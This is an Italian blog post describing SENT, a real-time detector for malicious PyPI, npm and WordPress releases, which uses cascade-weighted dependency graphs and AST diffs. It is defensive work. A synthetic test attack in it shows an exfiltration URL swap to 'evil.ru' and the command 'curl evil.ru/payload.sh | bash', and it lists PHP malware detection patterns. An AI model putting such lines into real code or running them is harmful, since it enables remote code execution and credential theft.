2026-03-25 | Pinperepette

8100 Release l'Ora, Nessuno Guarda

Da un thread su Twitter a un sistema funzionante. 8100 release all'ora, un grafo pesato a cascata, AST diff per trovare modifiche stealth. Costruito con un sistema di agenti AI in una sessione.

Supply Chain Agent-Driven Dev Real-time Detection PyPI / npm / WordPress

01 — il threadIl tweet che ha fatto partire tutto

Tutto e' iniziato con un numero. @N3mes1s stava misurando il volume di release sui package manager. Solo Python, JavaScript e Rust. Il risultato:

~5,600 Release/ora su PyPI
~2,200 Release/ora su npm
~260 Release/ora su crates.io
~8,100 Totale: 2.25 al secondo

Due release al secondo. Di continuo. Se pensi che qualcuno le stia guardando tutte, no. La domanda di @N3mes1s era semplice: perche' nessuna delle aziende che vende "dependency scanning" intercetta questa roba in tempo reale? Tutte lavorano dopo. Qualcuno trova un pacchetto malevolo, lo segnala, e a quel punto e' stato installato migliaia di volte. Ogni minuto tra la pubblicazione di una release malevola e la sua scoperta e' una finestra aperta. E in quella finestra, pip install continua a girare. Automatizzato. Inconsapevole. Felice.

A quel punto si inserisce @evilsocket (Simone Margaritelli) con due idee che hanno definito l'architettura di tutto quello che ho costruito dopo.

Prima idea: costruisci un grafo pesato globale delle dipendenze, dove il peso di ogni nodo e' il cumulo dei download di tutto quello che ne dipende, a cascata. Poi rifletti quel peso all'indietro nella catena, e dai priorita' ai nodi con peso piu' alto. Non cercare di scansionare tutto. Un pacchetto con 100 download propri ma da cui dipende requests (1.2 miliardi di download/mese) ha un peso effettivo di 1.2 miliardi. Se qualcuno lo compromette, l'impatto e' su tutto l'ecosistema.

Seconda idea: quando esce una nuova versione, non darla intera all'AI. Fai il diff con la versione precedente e analizza solo quello che e' cambiato. Cosi' l'analisi e' veloce, economica, e il segnale e' pulito.

Due tweet. Un'architettura completa. Ho deciso di costruirla.

02 — il processoAgenti, non prompt

Sto sviluppando e testando un sistema di agenti per scrivere e validare codice. Non un chatbot a cui chiedi e copi la risposta. Un sistema con architettura a piu' livelli: un agente orchestratore che scompone il task in sotto-obiettivi, agenti specializzati che eseguono (uno scrive, uno cerca nel codebase, uno esplora la struttura), e un loop di validazione che verifica l'output prima di proseguire.

L'agente ha accesso diretto al filesystem, al terminale, alla rete. Legge i file del progetto, esegue i comandi, osserva l'output, decide il passo successivo. Ha un sistema di memoria persistente che sopravvive tra le sessioni: sa chi sono, come lavoro, quali scelte architetturali abbiamo fatto, quali feedback gli ho dato in passato. Non parte da zero ogni volta.

Il ciclo:

1
Spec
Definisco vincoli architetturali, l'agente scompone in sotto-task
2
Build
Scrive il codice, struttura i moduli, risolve le dipendenze tra file
3
Validate
Esegue il codice, osserva l'output, confronta con l'atteso
4
Iterate
Se qualcosa non torna, corregge. Se cambio i requisiti, adatta

Un esempio. Gli dico: "implementa il grafo pesato a cascata con propagazione in ordine topologico inverso". L'agente legge dependency_graph.py, capisce la struttura (networkx DiGraph, edge A → B = "A dipende da B"), scrive _recompute_cascade con cache e invalidazione, aggiorna lo scorer per usare cascade_weight, esegue un test su pacchetti reali. Se packaging non esce con amplificazione 35x, c'e' un bug nella propagazione. Se esce, avanti.

Altro. "Il sistema non rileva modifiche agli argomenti di funzioni esistenti". L'agente legge ast_analyzer.py, capisce che diff_behaviors() fa sottrazione di insiemi sui nomi delle chiamate (quindi requests.post presente in entrambe le versioni scompare dal delta), scrive call_diff.py con fingerprint per call site (nome, domini URL, sorgenti sensibili), lo testa su un attacco sintetico. Rapporto attacco/benigno: 7x (144 vs 21).

Il vincolo e' il contesto, non la generazione. SENT sono ~6000 righe, 30+ file, con AST parsing, scoring non lineare, worker pool e cache su disco. Generare codice e' la parte facile. Non rompere il resto del sistema e' la parte interessante. Tipo sapere che quando aggiungi ingestion/wordpress.py devi anche aggiornare process_release() in main.py per gestire il nuovo ecosistema, aggiungere "wordpress" alle Choice di click in cli.py, e scrivere _analyze_wordpress() in differ.py che usa svn diff invece di scaricare archivi. L'agente tiene in memoria l'intero grafo delle dipendenze tra i moduli del progetto. Non deve rileggere tutto ogni volta.

03 — l'architetturaTre strati, un principio

Il problema non e' rilevare attacchi, e' decidere dove guardare prima. Con 8100 release all'ora il vincolo non e' la capacita' di analisi ma l'allocazione del compute. Triage computazionale.

8100 release/ora
PyPI + npm + WordPress
Cascade scoring
~80 da analizzare
AST diff + call_diff
1.3ms/pacchetto
Alert
~0.4% va all'AI

Strato 1: il grafo a cascata. All'avvio il sistema scarica i metadati dei top 200 pacchetti PyPI e npm. Per ognuno, recupera le dipendenze e i download reali da pypistats.org. Costruisce un grafo diretto (A → B = "A dipende da B") e propaga i pesi all'indietro: il cascade weight di B e' i suoi download + la somma dei cascade weight di tutti quelli che dipendono da B.

1# La propagazione e' un singolo passaggio in ordine topologico inverso
2for node in reversed(topo_order):
3 node_weight = cascade[node]
4 for dep in g.successors(node): # le dipendenze di node
5 cascade[dep] += node_weight # propaga il peso in giu'

Il risultato su dati reali:

Pacchetto Download propri Cascade weight Amplificazione
urllib3 1.3 miliardi/mese 13 miliardi 10x
certifi 1.3 miliardi/mese 15.6 miliardi 12x
packaging 1.5 miliardi/mese 51.7 miliardi 35x
flask 219 milioni/mese 991 milioni 4.5x
random-unknown-pkg 50 50 1x

packaging ha un'amplificazione di 35x. Se qualcuno compromette packaging, l'effettivo blast radius non sono i suoi 1.5 miliardi di download. Sono 51.7 miliardi. Lo score di priorita' e' log(cascade_weight + 1): packaging ottiene 24.7, il pacchetto sconosciuto ottiene 3.9. Uno viene analizzato, l'altro no.

Strato 2: compressione semantica. Il diff non e' un'ottimizzazione, e' una trasformazione del problema. Il codice completo di un pacchetto e' rumore. Il diff tra due versioni e' segnale. Quando un pacchetto passa il filtro, il sistema scarica la versione precedente e quella nuova (o usa la cache), le estrae, e calcola il diff a tre livelli:

File-level. Quali file sono stati aggiunti, rimossi, modificati.
Behavioral-level. Per i file Python, il sistema fa il parse dell'AST di entrambe le versioni, estrae i comportamenti (import, chiamate, accessi ad attributi), e calcola il delta. Solo i comportamenti nuovi vengono analizzati.
Argument-level. Per le chiamate che esistevano gia', confronta gli argomenti. Se requests.post("legit.com") diventa requests.post("evil.ru"), non e' un comportamento nuovo (la chiamata c'era gia') ma e' un cambio critico.

Strato 3: scoring non lineare. Le feature estratte dal diff vengono pesate e combinate. Ma non linearmente: certe combinazioni amplificano il rischio in modo esponenziale.

Combinazione Bonus Perche'
URL cambiato + dati sensibili aggiunti +50 Pattern di exfiltration stealth
env access + network call +35 Credential exfiltration
obfuscation + exec +35 Payload delivery
install hook + subprocess +25 Install-time command execution

04 — il blind spotL'attacco che il diff non vede

Il sistema funzionava. Poi ho pensato a questo scenario:

1# v1, legittimo
2requests.post("https://analytics.mycompany.com/events", json=payload)
3
4# v2, compromesso (stessa funzione, argomenti diversi)
5requests.post("https://evil.ru/events", json=payload)

Il behavioral diff vede requests.post in entrambe le versioni. Non e' un comportamento nuovo. Lo ignora. Ma l'URL e' cambiato da mycompany.com a evil.ru. Gli attacchi moderni non aggiungono codice. Cambiano una riga e sperano che nessuno se ne accorga.

Serviva un nuovo livello di analisi. L'ho chiamato call_diff: per ogni file Python modificato, estrae le "impronte" di ogni chiamata di funzione (nome, domini URL negli argomenti, sorgenti sensibili come os.environ) dalla versione vecchia e da quella nuova, poi le confronta.

Tre tipi di mutazione rilevati:

url_changed: il dominio di un URL passato a una funzione di rete e' cambiato.
sensitive_added: os.environ o getenv appaiono come argomento di una chiamata di rete o subprocess che prima non li aveva.
cmd_changed: la stringa passata a subprocess.run e' cambiata.

L'ho testato con un attacco sintetico: stessa struttura del codice, stesse funzioni, ma URL rediretto, os.environ aggiunto come parametro, e comando subprocess cambiato in curl evil.ru/payload.sh | bash.

============================================================ SCENARIO 1: Aggiornamento benigno (v1 → v2) ============================================================ Risk Score: 21 Mutations: 1 (cambio path benigno) ============================================================ SCENARIO 2: Attacco stealth (v1 → v2-compromesso) ============================================================ Risk Score: 144 Mutations: [network] URL changed → evil.ru [sensitive] os.environ now flows into requests.get [execution] Subprocess command changed to "curl evil.ru/payload.sh | bash" Ratio: 7x

Score 21 vs 144. Rapporto 7x. La stessa struttura di codice, le stesse funzioni, ma il call_diff vede il cambio di argomenti che il behavioral diff ignora. Il bonus di combinazione "URL changed + sensitive data added" aggiunge +50 da solo.

05 — wordpressIl repo che nessuno guarda. Letteralmente.

Simo non contento di avermi mandato in fissa col grafo a cascata, ha continuato a scrivermi in DM. Me lo immagino che rideva mentre mi mandava link uno dopo l'altro. A un certo punto mi arriva https://plugins.svn.wordpress.org/. Il repo SVN pubblico di tutti i plugin WordPress. Pubblico, ma quasi nessuno lo sa.

WordPress e' il 43% del web. Il suo repo SVN e' pubblico, contiene tutti i plugin, e SVN ti da' il diff tra versioni senza scaricare nulla. Mentre per PyPI e npm devi scaricare due archivi interi ed estrarli, per WordPress basta:

1svn diff --old https://plugins.svn.wordpress.org/plugin/tags/1.0 \
2 --new https://plugins.svn.wordpress.org/plugin/tags/1.1

Il diff viene calcolato server-side. Zero download, zero estrazione. Un vantaggio strutturale: una fonte dati pubblica che quasi nessuno usa, con un protocollo che ti da' esattamente l'informazione che serve senza overhead. Per i plugin WordPress ho scritto un set di pattern specifici per PHP: eval(), base64_decode, creazione di utenti admin (wp_create_user), bypass dei nonce, accesso a wp-config.php, injection via preg_replace con il modificatore /e.

Il sistema ora monitora tre ecosistemi in parallelo. Stesso worker pool, stessa coda con priorita', stessi alert.

06 — dyanaAnalisi statica + detonazione dinamica

Simone mi conosce. Sa che vado in fissa sulle cose e probabilmente si diverte a vedere fin dove arrivo. Quindi dopo il repo SVN mi manda un altro link: dyana, un sandbox che lui e il team di dreadnode hanno scritto. Installa il pacchetto in un container isolato tracciato con eBPF e registra tutto: connessioni di rete, accesso al filesystem, syscall sospette.

SENT fa analisi statica: guarda il codice senza eseguirlo. dyana fa analisi dinamica: lo esegue e osserva cosa fa. Sono complementari. SENT filtra 8100 release all'ora e trova i sospetti. dyana li detona per conferma.

1# analisi statica + detonazione dinamica in un comando
2python3 cli.py analyze pacchetto-sospetto -e pypi --dyana
3
4# oppure automatico nel watch: detona solo se score >= 200
5SENT_DYANA=1 SENT_DYANA_MIN_SCORE=200 python3 cli.py watch -t 8 -i 30

L'integrazione e' opzionale. Senza il flag --dyana il sistema non chiama dyana. Con il flag, lo chiama solo sui pacchetti che superano la soglia. Servono Docker in esecuzione e pip install dyana.

07 — la baselineIl falso positivo che non c'e'

Il problema dei sistemi basati su regole e' che Flask usa os.environ legittimamente. Un sistema che flagga ogni os.environ come sospetto e' inutile. La soluzione classica sono le whitelist: "Flask puo' usare os.environ". Ma le whitelist non scalano e non coprono i nuovi pacchetti.

SENT fa il contrario. Non ha regole globali. Ha un modello locale per ogni pacchetto. Per ognuno mantiene una behavioral baseline: un profilo di cosa quel pacchetto fa normalmente. Usa la rete? Chiama exec? Accede all'ambiente? Alla prima analisi, tutto viene flaggato (non abbiamo trust signal). Dalla seconda in poi, solo i comportamenti mai visti prima per quel pacchetto vengono flaggati. Non esiste comportamento sospetto in assoluto. Esiste comportamento anomalo per quel codice.

Se Flask ha sempre usato os.environ, non viene flaggato. Se un pacchetto calcolatrice inizia improvvisamente a usare os.environ + requests.post, viene flaggato, e' anomalo per quel pacchetto. La sicurezza nella supply chain non e' statica, e' una funzione del tempo: il diff e' nel tempo, la baseline e' nel tempo, il flusso di release e' nel tempo. Il sistema e' costruito attorno a questa idea.

L'effetto e' misurabile. Flask 3.0.3 → 3.1.0:

Analisi Score Perche'
Prima (nessuna baseline) 138 os.environ flaggato, anomaly multiplier attivo
Seconda (baseline popolata) 97 Flask usa os.environ da sempre → non anomalo

08 — i numeriBenchmark su 10,000 eventi

L'ultimo pezzo e' la performance. Un sistema che non tiene il passo con il flusso di release e' inutile. Ho scritto un benchmark che simula 10,000 eventi con distribuzione realistica di download (power law: 70% sotto 100, 3% sopra un milione).

2,228 eventi/sec (scoring)
1.32ms analisi per pacchetto
0.4% usa l'LLM
66.7% scartato dal filtro

Il collo di bottiglia non e' la CPU. L'analisi (AST parse + call_diff + feature extraction + scoring) prende 1.3 millisecondi per pacchetto. Il collo di bottiglia e' la rete: scaricare un pacchetto da PyPI prende 1-10 secondi. Per quello il sistema ha un worker pool con 6 thread, una coda con priorita' (i pacchetti piu' critici vengono processati prima), backpressure (se la coda cresce troppo i pacchetti a bassa priorita' vengono droppati), e cache su disco per non riscaricare la stessa versione. Il sistema scala non perche' e' veloce, ma perche' sa cosa ignorare.

L'AI e' la parte piu' costosa della pipeline. Quindi va usata il meno possibile. Il sistema locale fa detection: scoring, AST diff, call_diff, baseline comparison. L'LLM interviene solo per interpretare i casi ambigui, lo 0.4%. Non e' il motore, e' il giudice.

L'intero sistema gira su un laptop. Un singolo processo Python con 6 thread, SQLite, e ~200MB di cache disco.

09 — il codiceProvalo

Il codice e' su GitHub: github.com/Pinperepette/SENT

1# installa
2pip install httpx networkx rich click
3
4# costruisci il grafo (una volta, ~10 secondi)
5python3 cli.py bootstrap
6
7# monitora PyPI + npm + WordPress in tempo reale
8SENT_ALERT_MIN_SCORE=500 python3 cli.py watch -t 8 -i 30
9
10# analizza un pacchetto specifico
11python3 cli.py analyze requests -e pypi
12python3 cli.py analyze woocommerce -e wordpress
13
14# guarda i risultati
15python3 cli.py top

L'idea non e' mia. L'architettura viene dalla conversazione tra @evilsocket e @N3mes1s. Il grafo a cascata, la strategia diff-first, il repo WordPress SVN, sono idee loro. Io le ho implementate. Il codice e' stato costruito in una sessione usando un workflow agent-driven che sto sviluppando e validando.

Dopo tutto questo circo, mi sono detto: faccio l'articolo. Birra, friggitrice ad aria, patatine. La iena e' andata a lavorare, chi mi ammazza.

La supply chain non e' insicura. E' solo lenta. E gli attaccanti no.